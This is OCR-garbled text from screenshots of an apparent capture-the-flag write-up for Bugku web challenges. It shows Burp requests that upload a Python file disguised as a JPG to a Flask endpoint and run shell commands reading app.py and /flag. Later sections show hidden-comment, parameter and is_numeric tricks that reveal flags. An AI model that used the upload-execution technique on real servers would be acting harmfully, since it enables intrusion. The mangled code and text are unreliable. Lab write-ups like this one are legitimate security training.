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<html>
<head>
{title>File Upload</title>
</head>
<{body>
{form action="/uploader” method="POST” enctype="multipart/form—data”>
{input type="file” name="file” acceptZ”.jpg,.pngn L2 _
{input type="submit” />
¢/form>
{!— Give me the file, and I will return the Running results by python to you! —>

{/body>
</html> \
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import os
os.system('ls")
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Request

J RawT Params I Headers | Hex

Response

J Raw T Headers | Hex | Render ]

Target: http:/l'

POST fuploader HTTP/1.1

Host: 114.67.246.176:15700

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x64; nv:89.0) Gecko/20100101
Firefox/89.0

Accept: text/html application/xhtml-+xml application/xml;q=0.9 image/welp **; q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 ,zh-HK; q=0.5 en-US;q=0.3 &n;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

b oundary= e 192311791020401 267023665247 471

Content-Length: 243

Crigin: http:/f114.67.246.176:15700

Connection: close

Referer: http://114.67.246.176: 15700/

Upgrade-Insecure-Requests: 1

............................. 192311791020401267023665247 471
Content-Disposition: form-data; name="file"; filenama="1.jpg"
Content-Type: imagefjpeg

import 05—

os.system(ls)
............................. 192311791020401267023666247 471--

sty &1 hcat app.py, X—FREBEFBRXNEFREBRITT, RAKMecho $FLAG>/flag
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HTTP/.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 59

Server: Werkzeug/1.0.1 Python/3.7.9
Date: Tue, 13 Jul 2021 07:54:10 GMT

file uploaded successfully!</-- app. py

templates
upload --=
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Request
Raw | Params | Headers | Hex

Target: http://114.67.246.176:1!

Response

Raw | Headers | Hex | Render

POST fuploader HTTP/1.1

Host: 114.67.246.176:15700

UserAgent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; nv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html, application/xhtml+xml,application/xml;g=0.9 image/webp **,q=0.8
Accept-Language: zh-CM,zh;q=0.8,zh-TW,;q=0.7 ,zh-HK; g=0 5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/114.67.246.176:15700/

Content-Type: multipart/form-data; boundary=----------s--eeeeeeeeev 192311791020401267 023665247471
Content-Length: 251

Origin: http://114.67.246.176:15700

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

............................. 192311791020401267 023665247471
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

import os
os.system('cat app.py)
............................. 192311791020401267 02366524747 1--

>

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 1514

Senver: Werkzeug/1.0.1 Python/3.7.9
Date: Tue, 13 Jul 2021 08:49:12 GMT

file uploaded successfully!</-- from flask import Flask, render_template, request,
render_template_string

from werkzeug. utils import secure_filename
from subprocess import getoutput as shell

import 0s

app = Flask(__name__)
app.configl UPLOAD_FOLDER] = upload”

shell'echo $FLAG > /flag) immmm—

@app.route(r)
def upload_file():
return render_template('index. htmi)

(@app. route(Yuploader, methods=['GET, POST])
def uploader():

if request. method == 'POST"
fimame(__fil=__)

suffix = filename. split(" )

white_list = [py3. jpg. png]

if suffix in white_list:
f. save(os. path. join(app. configl UPLOAD FOLDERY, secure_filename(f.filaname
try:

pythond Yas/upload/%s' % (abs_path, filename)))

¥

Fix—HflagB BELREFRK ML LB T (SFLAGHflag) , ®EBHBH—TiERE, Ecat app.pyHh

BBk

echo $FLAGE: # cat /flagi & #f fe 15 Zlflag
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Go Cancel | [ € [v | >|v Target: hitp://114.67.246.176:15700 ¢ @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render

POST fuploader HTTP/1.1

Host: 114.67.246.176:15700

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x84, n89.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml application/xml; g=0.9 imagefwebp **q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/114.67.246.176: 15700/

Content-Type: multipartform-data; boundary=-—---—--—emeeeeeee 182311791020401267 023665247471
Content-Length: 251

Crigin: http://114.67 246 176:15700

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

T

............................. 192311791020401267 023665247471
Content-Disposition: form-data; name="file"; filename="1]pg"
import 0s

Content-Type: image/jpeg
os.system(echo $FLAG) /

............................. 1923179102040 267023665247 471

HTTP/1.0 200 Ok

Content-Type: text/html; charset=utf-8
Content-Length: 74

Server: Werkzeug1.0.1 Python/3.7.9
Date: Tue, 13 Jul 2021 08:57:33 GMT

T

file uploaded successfully!<!-- flagib8acad7b7222bbb37e84942104ab52be) >




Go Cancel < |v >|v Target: http://114.67.246.176:15700

Request

Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
POST fuploader HTTP/1.1 A HTTP/.0 200 OK
Host: 114.67 246 176: 15700 k Content-Type: text/html; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; n:89.0) Gecko/20100101 Firefox/89.0 Content-Length: 74
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp " =08 Server: Werkzeug/1.0.1 Python/3.7.9
Accept-Language: zh-CN zh;g=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5,&n-US;q=0.3 ,en;q=0.2 Date: Tue, 13 Jul 2021 08:58:14 GMT

Accept-Encading: gzip, deflate

Referer. hitp:/f114.67.246.176:15700/

Content-Type: multipatform-data; boundary=-—-------cmemmeeeeen 192311791020401267023665247471
Content-Length: 250

Crigin: http://114.67 246.176:15700

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Contral: max-age=0

file uploaded successfully!<!-- flag{b8acad7b7222bbb37e8d942104ab52be) -

............................. 192311791020401267023665247 471
Content-Disposition: form-data; name="file"; filename="1jpg"
Content-Type: image/jpeg

import os
os.system('cat fﬂagb
............................. 192311791020401 267023665247 471 --
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<!DOCTYPE html PUBLIC “—//W3C//DTD XHTML 1.0 Transitional//EN" "http://www. w3. org/TR/xhtml1/DTD/xhtml[-transitional. dtd™>
<html xmlns="http://www.w3. org/1999/xhtml”>

<head>

{meta http—equiv="Content-Type” content="text/html; charset=utf-8" />

{meta name="viewport” content="width=device-width, hight=device-hight, minimum—scale=1. 0, maximum—scale=l. 0, ser-scalable=none”/>
{title>BugkuCTF-WEB1</title>

{style type="text/css”>
body { margin: 0; padding: 0; position: relative; background—image: url (images/xh. jpg); background-position: center; /#background-re

{/style>
</head> '
<body id="body” onLoad="init()”>
<!flag{9725rb0367228170df5415chc2f0bb12}

>

{script type="text/javascript” src="js/ThreeCanvas. js”></script>
{script type="text/javascript” sre="js/Snow. js"></script>

{script type="text/javascript”>
var SCREEN WIDTH = window. innerWidth;//
var SCREEN_HEIGHT = window. innerHeight;
var container;
var particle;//¥i¥
var camera;
var scene;
var renderer;
var starSnow = 1;

var particles = [];

var particleImage = new Image();
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns="http://www.w3.0org/1999/xhtml">
P <head> [+ </head>

w <body>
<span id="code" class="code" style="background: rgb{66, 117, 17) none repeat scroll 8% e¥%; color: rgb(117, 91, 86);"»55475=2
</span» |event
5

<input class="input” type="t

=8

<button id="check"s¥&iF</buttons [event

<div style="text-align:center;">/=</div>

<script src="js/jquery-1.12.3.min.js"»</script>

<script type="text/javascript” src="js/code.js"></script>
</body>

</html>

-

BN (HRWAUER) , BBUERRTUMAIMLE T, HErRIERIF 15 2lflag

@ 114.67.246.176:18306

flag{0b599cdd1923c881725e358d444 75944}
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Q&3 HTML + A VibEEs :h
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.8 Transitional//EN" “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> TE O
<html xmlns="http://www.w3.org/1999/xhtml" > 1
¥ <head> [+ </head> Jinput £ {
w <body> width: 1@@px;

<span id="code" class="code" style="background: rgb(g6, 117, 17) none repeat scroll % @%; color: rgb({117, 91, 86);">»55+75=> ¥
<fspan> |event
E=LC]

<input clas nput” type="text" maxlength:
=5
<button id="check">§iF</button> event
b <div style="text-align:center;">[=/</div>
<script src="js/jguery-1.12.3.min.js"></script>

<script type="text/javascript” src="js/code.js"»</script>
</body>»
</html>»

GET



&« C O 8 114.67.246.176:13307
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$what=$ GET['what'];
echo $what;
if(Swhat=—"flag")

echo 'flag {****}";

XBEAREEERWhatZ B UGET T LS8, Ziwhatfd Aflaght, Eixflag

24 BB url 5 R ?what=flag E #15 #lflag

&« C O 8 114.67.246.176:13307/?what=flag
S EAEE. DMlssts @ SE @ FFEE O =EAMNE @) Damn Vulnerable W... ) Rirrh
$what=% GET['what'];
echo $what;
if($what=—"flag")
echo 'flag {****}";
flagflag { 1a9407334159f654a77f8b7d56d3bf6} flag{1fa9407334159f654a77f8b7d56d3b16)
bv.
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Swhat=3_POST['what']:
echo $what;
if(Swhat=—"'flag')

echo 'flag {¥***}';
flagflag{78463a72ced4bfdc43a54a0171c88297} /
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$num=$ GET['num'];
if(!is_numeric($num))

d

echo $num;
if(Snum==1)
echo 'flag {* ¥ ssxkukx 1,

}
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$num=% GET['num'];
if(!is_numeric($num))

{

echo $num;
if($num=1)
echo 'ﬂag{**********}';

}

labeflag{3533ec509ffc10d9ea57blaeSe3ccedb)
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B EAEE. DueEsss @EE @ FELE O #EMLE @ DamnVulnerable W... @) RiFrsE @ RFE A DVWASHHEESS. O FE © #E O =5 O E=ET 9 PHP R S MiEzhise Hrakss
alert ("HIKIKIL") 7 e PLEOLXOE X0
alert ("flaghifEiXBr) ;
alert ("FEHRHL") -
alert ("flagBiEiZ @) ;
alert ("HEHHEME") -
alert("flagitfBiz®E") »
alert ("HEHHE") -
alert("flagfifBiz®E") ;
alert ("FEHHM")
alert ("flagiftfEIRE") ;
alert ("FEIHLKML") ; {
alert ("flagififEiXE") ;
alert ("FHHML")
alert("flagfifBizE") 5
alert ("FEHHM") ;
alert("flagffifEiXE") 5
alert ("FEHHM") ;
alert("flagffifEiXE") 7
alert ("FEHHM") ;
alert("flagftfBixE") 7
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alert("
alert ("
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alert("
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alert ("REHIM")
alert ("flaghiEiz® ") ;
alert ("FEHHML")
alert("flagitfBiz®E") »
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alert("flagififEXE") ;
alert ("FEHHEM") ;
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| want to play Dummy game with others£;But | can't stop!
Stop at panda ! u will get flag
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<html>

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">

<meta name="zuthor" content="">

<title>Dummy game</title>

</head>

<script language="JavaScript">

function myrefresh(){

window.location.relcad();

}

setTimeout ('myrefresh() ', 500);

</script>

<body>

<genter><strong>I want to play Dummy game with othersf£;But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>

<center><div><img src="2.jpg" /></div></center><br><a style="display:none">flag is here~</a>»</body>

</html> \
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<html>

<head>

<meta charset="utf-5">

<meta name="viewport” content="width=device-width, initial-scale=1.0"3>
<meta name="description" content="">

<meta name="author" content="">

<title>Dummy game</title>

</head>

<script language="JavaScript">
function myrefresh() {
window.location.reload();

}

setTimeout ("myrefresh()',500);

</script>

<body>

<center><strong>I want to play Dummy game with othersf£;But I can't stop!</strong>»</center>

<center>Stop at panda ! u will get flag</center>
<center><div><img sre="10.jpg"/></div></center><br><a style="display:none">flag{09613e54355be0a32480c087ab4%aldf}</a></body>

</html> T
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root@kali: ~
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O 8 114.67.246.176:17957/admin/login.php
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